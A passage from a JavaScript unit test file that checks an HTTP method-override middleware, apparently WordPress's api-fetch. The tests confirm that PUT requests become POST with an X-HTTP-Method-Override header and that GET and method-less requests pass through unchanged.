		const callback = ( options ) => {
			expect( options.method ).toBe( 'POST' );
			expect( options.headers[ 'X-HTTP-Method-Override' ] ).toBe( 'PUT' );
		};

		httpV1Middleware( { method: 'PUT', data: {} }, callback );
	} );

	it( "shouldn't touch the options for GET requests", () => {
		expect.hasAssertions();

		const requestOptions = { method: 'GET', path: '/wp/v2/posts' };
		const callback = ( options ) => {
			expect( options ).toBe( requestOptions );
		};

		httpV1Middleware( requestOptions, callback );
	} );

	it( "shouldn't touch the options for an undefined method", () => {
		expect.hasAssertions();

		const requestOptions = { path: '/wp/v2/posts' };
		const callback = ( options ) => {
			expect( options ).toBe( requestOptions );
		};

		httpV1Middleware( requestOptions, callback );
	} );
} );